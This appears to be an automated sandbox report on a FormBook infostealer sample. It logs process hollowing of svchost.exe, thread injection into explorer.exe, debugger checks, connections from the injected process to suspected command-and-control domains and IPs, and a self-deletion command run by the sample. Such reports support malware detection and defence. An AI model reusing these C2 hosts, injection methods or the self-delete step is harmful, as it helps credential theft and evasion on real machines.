Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03458E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03438A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03425210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03425210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03425210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03425210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03443A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03464A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03464A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034DFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03468EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034536CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034DFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034376E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034516E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03463D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03447D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03433D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034AA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034B41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034D8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03422D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03422D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03422D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03422D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03422D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034535A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03451DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03451DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03451DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03440050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03440050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034258EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034690AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345F0BF mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Code function: 4_2_00409B30 LdrLoadDll,

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.hisensor.world
Source: C:\Windows\explorer.exe	Domain query: www.integrity.directory
Source: C:\Windows\explorer.exe	Network Connect: 13.250.255.10 80
Source: C:\Windows\explorer.exe	Domain query: www.sashaignatenko.com
Source: C:\Windows\explorer.exe	Domain query: www.ifbrick.com
Source: C:\Windows\explorer.exe	Network Connect: 44.227.65.245 80
Source: C:\Windows\explorer.exe	Domain query: www.nordicbatterybelt.net
Source: C:\Windows\explorer.exe	Network Connect: 185.215.4.13 80
Source: C:\Windows\explorer.exe	Network Connect: 165.73.84.33 80
Source: C:\Windows\explorer.exe	Domain query: www.advindustry.com
Source: C:\Windows\explorer.exe	Network Connect: 185.134.245.113 80

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: F60000

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Memory written: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Thread register set: target process: 3440
Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 3440

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process created: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'

Source: explorer.exe, 00000005.00000000.395221821.0000000000EE0000.00000002.00020000.sdmp, svchost.exe, 00000009.00000002.615538926.0000000005950000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.395221821.0000000000EE0000.00000002.00020000.sdmp, svchost.exe, 00000009.00000002.615538926.0000000005950000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.395221821.0000000000EE0000.00000002.00020000.sdmp, svchost.exe, 00000009.00000002.615538926.0000000005950000.00000002.00020000.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000005.00000000.395221821.0000000000EE0000.00000002.00020000.sdmp, svchost.exe, 00000009.00000002.615538926.0000000005950000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Queries volume information: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe VolumeInformation
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading1	Input Capture1	Security Software Discovery221	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
